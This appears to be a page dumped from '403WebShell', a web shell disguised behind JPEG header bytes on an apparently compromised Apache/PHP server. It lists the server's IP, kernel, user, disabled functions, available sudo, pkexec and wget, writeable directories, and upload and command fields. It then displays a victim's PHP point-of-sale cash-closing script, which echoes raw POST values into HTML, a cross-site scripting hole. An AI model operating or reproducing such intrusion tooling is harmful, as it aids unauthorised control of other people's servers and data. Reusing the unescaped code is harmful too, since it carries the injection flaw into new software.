����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.188.218
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/ticketCorte-view.php
<!-- ventas registradas ---->
<?php

date_default_timezone_set("America/Mexico_City");

//ventas contado
$stock_id = $_POST['stock_id'];
$id_seller = UserData::getByIdStock1($_SESSION['stock_id']);
echo $id_user = $id_seller->id_user;
$products = SellData::getSellsUnBoxed($id_user);


$entradas = SavingData::sumByKind(1);
 //print_r($fondo);
$Salidas = SavingData::sumByKind(2);

$Gastos = SpendGData::getAllDay();

$total_total = 0;
$total_A=0;

if(isset($products)>0):
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Corte</title>
        <script type="text/javascript">
            function imprimir() {
                if (window.print) {
                    window.print();
                } else {
                    alert("La función de impresion no esta soportada por su navegador.");
                }
            }
        </script>
    </head>
<body onload="imprimir();">

	<section class="content">
	<h1 align="left">CORTE DE CAJA</h1>
	    	<!--  ------Ventas---- -->
		<?php foreach($products as $sell):?>
			<?php
			$operations = OperationData::getAllProductsBySellId($sell->id);
			$total_total += $sell->total;
			?>	
		<?php endforeach; ?>
		
		<!-- ----------pagos ------- -->
		<?php $fecha = date('Y-m-d h:i:s');
					$fechaAtras = strtotime ( '-1 day' , strtotime ( $fecha ) ) ;
					$fechaAtras = date ( 'Y-m-d h:i:s' , $fechaAtras );
					$fechaActual = date("Y-m-d h:i:s",time());
				?>
		<?php 
		$operations = array();			
		$operations = PaymentData::getAllByDate($fechaAtras, $fechaActual);	
		?>
		<?php if(count($operations)>0):?>
			<?php $t=0; foreach($operations as $operation){ 
			$t+=$operation->val; 
			}?>
			 <?php $pagos = number_format(abs($t),2,".",","); ?>
		<?php endif; ?>
			
		<!--  ------devolucones---- -->
		<?php 
			$users = SpendData::getAllSpends($id_user);
			 $totaldev = 0;
			?>
			<?php foreach($users as $user):?>
			
			<?php $totaldev+=$user->price; ?>
				
		<?php endforeach; ?>
		
		<!--  ------abonos a creditos---- -->
			
			<?php 
			$SellsCredit = SellData::getSellCreditsUnBoxed($id_user);
			?>
			<?php foreach($SellsCredit as $credit):?>
			
			<?php $total_A +=$credit->cash; ?>
				
		<?php endforeach; ?>
		
		
		<div class="row">
			<div class="col-md-4">
			<div class="box box-primary">
			<table class="table table-bordered">
			<?php
			$time = time();
			?>
			<tr>
			  <td style="width:50px;">Fecha</td>
			  <td><?php echo date("d-m-Y (H:i:s)", $time);?></td>
			</tr>
			<?php 
			?>
			<tr>
			  <td>Cajero</td>
			  <td align="center"><?php echo UserData::getById($_SESSION["user_id"])->name." ".UserData::getById($_SESSION["user_id"])->lastname; ?> </td>
			</tr>

			</table>
			</div>  
			</div>
		</div>	
		
		<div class="row">
		<div class="col-md-4">
		<div class="box box-primary">
		<table class="table table-bordered">
		  <tr>
			<th style="width:150px;"><h4>Fondo Inicial:</h4></th>
			 <th><h4> <?php echo $_POST["fondo"]; ?> </h4> </th>
		  </tr>
		  
		   <tr>
			<td><h4>+Ventas(Contado):</h4></td>
			<td colspan="2" align="left"><h4><?php echo "$ ".number_format($total_total,2,".",","); ?></h4></td>
			<td align="left"><h4>Pagos:<?php echo "$ ".number_format($total_A,2,".",","); ?></h4></td>
		  </tr>
		  
		  
		   <?php if(isset($Gastos)): ?>
		   <tr>
		   <td><h4>-Gastos</h4></td>
		   <td align="left"><h4>$ <?php echo $Gastos[0]->suma; ?></h4></td>
		  </tr>
		  <?php else: ?>
		  <tr>
		   <td><h4>+Pagos</h4></td>
		   <td align="left"><h4>$ 0</h4></td>
		  </tr>
		  <?php endif; ?>
			<tr>
			<td><h4>-Devoluciones: </h4></td>
			<td><h4>	<?php echo number_format($totaldev,2,".",","); ?></h4></td>
		  </tr>
		  
		   <tr>
			<th><h4>Monto Recibido:</h4></th>
			<td><h4><?php echo $_POST["monto"]; ?> </h4></td>
		  </tr>
		</table>
		</div>
		</div>
		</div>

		<?php if(isset($t))
		{
			$gran_t=abs($t);
			$gran_total=$gran_t + $total_total;
		}else
		{
			$gran_t=0;
			$gran_total=$gran_t + $total_total;
		}
		?>

		<div class="row">
		<div class="col-md-4">
		<div class="box box-primary">
		<table class="table table-bordered">
		  <tr>
			<th style="width:150px;"><h4>Diferencia:</h4></th>
			 <th><h4><?php 
			 echo $_POST["monto"];
			 $suma = $_POST["monto"]-($gran_total-$totaldev+$total_A);
			 echo number_format( abs($suma),2,".",","); ?> </h4></th>
		  </tr>
		  
		   <tr>
			<td><h4>+Entradas:</h4></td>
			<td align="center"><h4>
				<?php echo $entradas->s; ?>
			</h4></td>
		  </tr>
		  
		   <tr>
		   <td><h4>+Salida</h4></td>
		   <td align="center">
				<?php echo $Salidas->s; ?>
		   </td>
		  </tr>
		</table>
		</div>
		</div>
		</div>
		
		
		<?php
		//die;
		
		
		//ventas contado y credito
		$sells = SellData::getSellsUnBoxed($id_user);
		//devoluciones
		$devs = SpendData::getAllSpends($id_user);
		//gastos administracion
		$sellsG = SpendGData::getAllUnBoxed();
		
		//pagos o abonos
		$abonos = PaymentData::getAllBoxNull();
		//print_r($abonos);
		
		
		//compras 
		$compras = ReData::getAllDayBoxReg();
		//print_r($compras);
		
		
		
		//entradas  y salidas de dinero juntas
		$MovimientosDinero = SavingData::GetByBox();
		//print_r($MovimientosDinero);
		//die;
		
		//cajas abiertas
		$opening = SavingData::getByNull();
		//print_r($opening);
		
		
			if(count($sells)){	
					
				$box = new BoxData();
				$box->stock_id = 1;
				$box->total = $suma;
				 $box->diferencia = $_POST['diferencia'];
				
				 $b = $box->add();
				
				
				foreach($sells as $sell){
					$sell->box_id = $b[1];
					$sell->update_box();
				}
				foreach($devs as $dev){
					$dev->box_id = $b[1];
					$dev->update_box($dev->id_d);
				}
				
				foreach($sellsG as $sellG){
					$sellG->box_id = $b[1];
					$sellG->update_box();
				}
			
				foreach($MovimientosDinero as $mov){
					$mov->box_id = $b[1];
					$mov->update_box();
				}
				
				//abonos 
				foreach($abonos as $abono){
					$abono->box_id = $b[1];
					$abono->update_box();
				}
				//compras
				foreach($compras as $compra){
					$compra->box_id = $b[1];
					$compra->update_box();
				}
				
				//cerrar caja
				$opening->update_opening($b[1]);
			
			}
		?>
		
		
	

	</section>
</body>

<?php
else:
?>

	<div class="jumbotron">
		<h2>No hay ventas</h2>
		<p>No se ha realizado ninguna venta.</p>
	</div>

<?php endif; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit